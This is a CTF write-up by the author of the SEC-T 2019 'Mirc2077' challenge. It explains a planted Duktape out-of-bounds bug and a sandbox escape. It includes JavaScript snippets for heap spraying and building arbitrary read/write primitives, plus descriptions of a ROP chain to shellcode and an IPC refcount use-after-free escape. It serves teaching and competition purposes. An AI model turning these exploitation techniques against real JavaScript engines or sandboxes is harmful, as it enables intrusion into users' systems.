# Mirc2077## IntroI made this challenge for the SEC-T CTF 2019. It has two parts and is meant to be a minimal 'browser-pwnable'. The javascript engine used is Duktape (https://duktape.org). A custom bug was introduced to it which can be used to get code-execution in the JS-interpreter-process. This process is heavily sandboxed with Seccomp and the second part of the challenge is about escaping it by exploiting an IPC-bug in the main-process.
TL;DR: The final exploit is in `exploit/pwn64.js` and is built dynamically from `exploit/exploit.py`.
![alt text](static/intro.png)  ```One of the rogue androids are hanging out in his private IRC, dealing warez and 0-days. He takes his OPSEC seriously and is behind 9000 proxies. An agent of ours managed to add a backdoor to the repository of his favourite IRC-client. Unfortunately we are scraping up whats left of him from a burning barrel.We recovered this USB-stick, use whatever is on it to pwn and reveal the androids real IP-address. We'll do the rest ;)`````` bash$ checksec --file ./mirc2077 [*] './mirc2077'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
## Backdoor / Duktape bug analysisThe player can send various messages and links to the android on 'IRC'. If the link contains Javascript, it will be interpreted by the Duktape JS engine. This is a part of the diff that the player recieved which shows the bug that was introduced to Duktape.``` diff+DUK_INTERNAL duk_ret_t duk_bi_typedarray_sect(duk_hthread *thr) {+	duk_hbufobj *h_this;+	h_this = duk__require_bufobj_this(thr);+	DUK_ASSERT(h_this != NULL);+	DUK_HBUFOBJ_ASSERT_VALID(h_this);++	if (h_this->buf == NULL) {+		DUK_DDD(DUK_DDDPRINT("source neutered, skip copy"));+		return 0;+	}+	h_this->length = 31337;+	duk_hbuffer * buf = h_this->buf;+	buf->size = 31337;+	return 0;+}```A built-in named `sect` was added to the TypedArray object. Calling this function will set the TypedArray and it's backing-buffer size to 31337. However, it will not reallocate the backing-buffer.  
Therefore, if you allocate a TypedArray of a size less than 31337 and you call the `sect` built-in on it, you'll be able to read and write out-of-bounds in the heap-memory.
With this limited out-of-bounds read/write primitive we can then find a suitable object in the heap to corrupt and create a fully controlled read/write-what-anywhere primitive.
## Part I - Code-exec in the sandboxed JS-interpreter process### Create a fully controlled read/write-what anywhere primitiveTo achieve our wanted primitive, theres a bit of work to be done.
First we do some minor spraying with small TypedArrays on which we trigger the vuln to create the limited out-of-bounds-primitive. Then we spray some larger potential targets where we set their data to magic values so we can find them in the heap using our OOB-read.``` js/* defrag the heap */for(i = 0; i < pwn.defrag_heap_rounds; i++) {  f = new Float64Array(4);f[0] = 1111.4444;f[1] = 2222.5555;  pad.push(f);}
/* spray duk_hbufobj and duk_hbuffer objects via Float64Arrays*/for(i = 0; i < pwn.spray_rounds; i++) {  var p = new Float64Array(4);p[0]=1337.0;p[1]=4445.0;  p.sect(); /* trigger vuln */  spray.push(p);  var q = new Float64Array(200);q[0]=6661.6661;q[1]=1116.1116;  targets.push(q);}```My target of choices for corruption was a `duk_hbuffer` object since these are conveniently created and used by TypedArrays.``` cstruct duk_hbuffer {  duk_heaphdr hdr;  duk_size_t size;  void *curr_alloc;   ...```Each `duk_hbuffer` object is referenced by a `duk_hbufobj` object``` cstruct duk_hbufobj {  duk_hobject obj;  duk_hbuffer *buf; /* points to duk_hbuffer */  duk_hobject *buf_prop;  duk_uint_t offset;       /* byte offset to buf */  duk_uint_t length;       /* byte index limit for element access, exclusive */  duk_uint8_t shift;       /* element size shift:                            *   0 = u8/i8                            *   1 = u16/i16                            *   2 = u32/i32/float                            *   3 = double                            */  duk_uint8_t elem_type;   /* element type */  duk_uint8_t is_typedarray;  ...```
How the `duk_hbuffer` stores it's data is defined by it's headers magic value in `duk_hbuffer->hdr->h_flags`. If it's defined as external, then the data will be stored in a buffer pointed to by `duk_hbuffer->curr_alloc`. Otherwise, the data is kept after the structure and the `curr_alloc` pointer is ignored.
For example, `Float64Array(200)` will create a non-external `duk_hbuffer` but we want it to be external as the goal is to be able to control the `duk_hbuffer->curr_alloc` pointer. If we can do this we will have an easy to work with primitive e.g: if you corrupt duk_hbuffer->cur_alloc to `0xdeadbeef` we can then do:* `var val =  corrupted_typedarray[0];` - read from 0xdeadbeef* `corrupted_typedarray[0] = val;` - write to 0xdeadbeef
To create a fully controlled read-write-what-anywhere primitive the strategy is to:* Spray TypedArrays with magic-values in the data* Find the `duk_hbuffer` of the TypedArray by it's magic values in heap-memory* Corrupt the magic values to something specific so we can detect the change* Cycle through the TypedArray objects and find which one points to our controlled `duk_hbuffer` by detecting the change* Corrupt the `duk_hbuffer->hdr->h_flag` so it's magic value reflects an external duk_hbuffer object
As the `duk_hbuffer` is now external, we can corrupt `duk_hbuffer->curr_alloc` to gain the controlled-read/write anywhere primitive. This is done with some helper functions, such as
``` js/* set_ctx sets the duk_hbuffer to dynamic/external*/this.set_ctx = function() {  this.hbuf_obj[this.buf_offset+4] = i2d(0xdeadbeef); /* target_addr */  this.hbuf_obj[this.buf_offset+5] = i2d(0x0);  this.hbuf_obj[this.buf_offset] = i2d(0x0000222200000081); /* set magic to 81 (dynamic/external) and refcount to 2 */};
this.write64 = function(addr, val) {  this.hbuf_obj[this.buf_offset+4] = addr;  this.hobj[0] = val;};
this.read64 = function(addr) {  this.hbuf_obj[this.buf_offset+4] = i2d(addr);  return d2i(this.hobj[0]);};
```With full R/W-access to the process, we can now work towards code-exec.
### Create a leak-primitive and leak libcThe next steps for code-exec are* Leak a pointer to the mirc2077 binary and calculate the base address of it* Using the base address of mirc2077, read one of it's `.got` entries to leak an offset into libc.
To understand the next part, one should know that all duktape objects starts with a `duk_hobject` struct that contains a `duk_heaphdr` struct.``` cstruct duk_heaphdr {  duk_uint32_t h_flags;  duk_size_t h_refcount;  duk_heaphdr *h_next;  duk_heaphdr *h_prev;  ...```The `duk_heaphdr` contains a linked-list e.g. `duk_heaphdr->h_next` that can be used to traverse all the allocated duktape objects. We can leak the `h_next` and `h_prev` pointers from our `duk_hbuffer` object. These can then be used to find objects of interest via their `duk_heaphdr->h_flags` magic value.
One object of interest is the `duk_hnatfunc`. In these objects there is a function pointer to a native c-function. I.e. `duk_hnatfunc->func` will contain a pointer to the mirc2007 binary. In my case, performance.now() would be my first hit when traversing for this type of object.```cstruct duk_hnatfunc {  duk_hobject obj;  duk_c_function func; /* mirc2077 leak */  duk_int16_t nargs;  duk_int16_t magic;  ...```
The following JS code will find the `performance.now()` native function object and from that, leak libc and rebase the ROP-chain that is used later on.```jsthis.leak_libc = function(addr) {  addr = this.find_native_func(addr);  if(addr)    elf_base = this.find_elf(addr);  if(elf_base)  {    this.elf = d2i(elf_base.asDouble());    elf_base.assignAdd(elf_base, this.got_offset);    this.libc = this.read64i(elf_base);    this.libc.assignSub(this.libc, this.libc_offset);    log("[+] Found libc base: " + this.libc);    this.rebase();    return this.libc;  }  return 0;};``` ### Get code-exec and pivot to shellcodeAt this point we could overwrite the `duk_hnatfunc->func` for RIP-control. However, controlling the arguments is not as easy due to how duktape passes the arguments via it's context-pointer.
Another option is to leak the `environ` pointer from libc. This points to the current stack of the process. Walk the stack for a target return-address and overwrite it with a ROP-chain. I chose `<duk_eval_raw+110> ` as it will be hit after interpreting the Javascript.
The ROP-chain is very simple. It will `mmap` an RWX page, `memcpy` the embedded shellcode there and jump to it while passing on a `shellcode_ctx` containing some addresses for the final payload.## Part II - Escape the Seccomp sandbox ### Sandbox constraintsThe sandbox-restrictions can be dumped with https://github.com/david942j/seccomp-tools```c line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015 0007: 0x15 0x07 0x00 0x00000003  if (A == close) goto 0015 0008: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0015 0009: 0x15 0x05 0x00 0x00000008  if (A == lseek) goto 0015 0010: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0015 0011: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0015 0012: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0015 0013: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0015 0014: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0016: 0x06 0x00 0x00 0x00000000  return KILL```We can't open files or pop a shell but thankfully we can mmap RWX-pages for pivoting to shellcode where we can setup more elaborate IPC-payloads. These are stored in `exploit/*.asm`### IPC communicationThe main process will fork a child-process and apply Seccomp before it executes the 'dangerous' JS-interpretation. It will pass two file-descriptors to the sandboxed-process. One is to the Log-functionality (`log-fd`) and the other is for the IPC-functionality (`ipc-fd`)
After the JS-interpretation-process creation, the main-process will enter an `ipc_loop` which expects `ipc_msg` structures. The `ipc_loop` will process each `ipc_message` and call the function that maps to the `ipc_msg->id`.
To use the IPC, you would write the following structure to the `ipc-fd` and then read it back for the result.``` cstruct ipc_msg { u8 magic[8]; // IRC_IPC\0 u64 id;      // f.ex. IPC_JS_SUCCESS 0xac1d0001 u64 debug;   // enable debug-mode output u64 status; u64 result; // result :-) u64 arg0; u64 arg1;};```
### IPC bug-analysisThe IPC between the main-process and the JS-interpreter-process is meant to support caching of responses. It doesn't do a great job at it though. The basic functionality consist of``` cu64 ipc_cache_create(u64 id, u64 size) - Create cacheu64 ipc_cache_create_data(u64 id, u64 size) - Allocate cache data bufferu64 ipc_cache_set_data(u64 id) - Set cache datau64 ipc_cache_get_data(u64 id) - Read cache datau64 ipc_cache_dup(u64 id) - Duplicate existing cacheu32 ipc_cache_close(u64 id) - Close cache```
The cache structures are as follows``` cstruct cache {  v0 *data_ptr; // allocated via ipc_cache_create_data  u8 refcount;  u64 size;};
struct cache_head { // allocated via ipc_cache_create  u64 id;  struct cache *cache_ptr;};```The `ipc_cache_dup` will create a new `cache_head` and assign it the `cache_ptr` of the requested `cache_head->id` to be duped. If successful, it will increase the refcount of the `cache`. The problem is that the refcount is kept as a byte and with no checks in place it can be easily be overflown through consecutive calls to `ipc_cache_dup`.
This by itself is bad but in conjunction with `ipc_cache_close` we can cause a use-after-free.
``` cu32 ipc_cache_close(u64 id){  struct cache_head *c = (struct cache_head*)ipc_cache_arr[id];  if(c == NULL)    return IPC_ERROR;
  if(c->cache_ptr != NULL) {    c->cache_ptr->refcount--;     if(c->cache_ptr->refcount <= 0) {      if(c->cache_ptr->data_ptr != NULL) {        free(c->cache_ptr->data_ptr);        c->cache_ptr->data_ptr = NULL;              }      free(c->cache_ptr);      c->cache_ptr = NULL;      free(c);      ipc_cache_arr[id] =  NULL;    }  }```If we call `ipc_cache_dup` enough for the `cache->refcount` to wrap-around to 1 and then call `ipc_cache_close` on one of the duped caches, the underlying `cache` will be released while we still retain references to it.
By reclaiming the `cache` memory we can control the `cache->data_ptr` which then becomes a read/write-what-anywhere primitive through the `ipc_cache_get_data` and `ipc_cache_set_data` calls.
## How to get the flags### Flag #1 - HOW-2-IPCHaving code-exec in the JS-interpreter-process is enough to get the first flag. We simply need to perform an IPC-call with the id `IPC_REQUEST_FLAG    (0xac1d1337)`. This will read the `./flag` from the main-process and write it back to us over the IPC. The flag can then be output by writing it to the `log-fd`.
### Flag #2 - Escape the Seccomp sandboxTo exploit the IPC-bug, these steps are taken:* Create the first cache and a cache_data for it so we have a dup target* Create three caches without data. We will use these later to reclaim the `cache` memory, as `ipc_cache_create_data` allows allocations of a controlled size between > 0 and < 512* Call `ipc_cache_dup` on the first cache until the `cache->refcount` to wrap around to 1* Call `ipc_cache_close` on the first cache to trigger the use-after-free scenario* Create the cache_data for the other caches (2-4) to reclaim the `cache` memory with a `cache->data_ptr` that points to the wanted target
Now we can overwrite whatever `cache->data_ptr` points to by calling `ipc_cache_set_data` on any of the duped caches that still has a reference to it.
No leak from the main-process is needed since the JS-interpreter is forked, which means that the binaries and stack will have the same addresses in both processes.
We can use the same trick that we used to execute our initial ROP-chain. We find a suitable target on the stack and overwrite it with a ROP-chain. In my case, the target was `<exec_js_renderer+010d>` which will be hit when the `ipc_loop` returns. 
After writing the final ROP-chain to the main-process stack we send a final IPC-message of `IPC_JS_SUCCESS      (0xac1d0001)` so the main-process exists the `ipc_loop` and we get code-exec in the main-process.
The payload is simply a one_gadget / god_gadget from the libc which can be found using the tool https://github.com/david942j/one_gadget. Some of the stack is also zeroed out to fit the constraint of the one_gadget.
## Exploit moneyshot![alt text](static/win.png)  
# Creds**b0bb** - for proof-reading and suggestions  **je / OwariDa** - for the PIE-fixup script  **saelo** - for the 64bit JS-framework  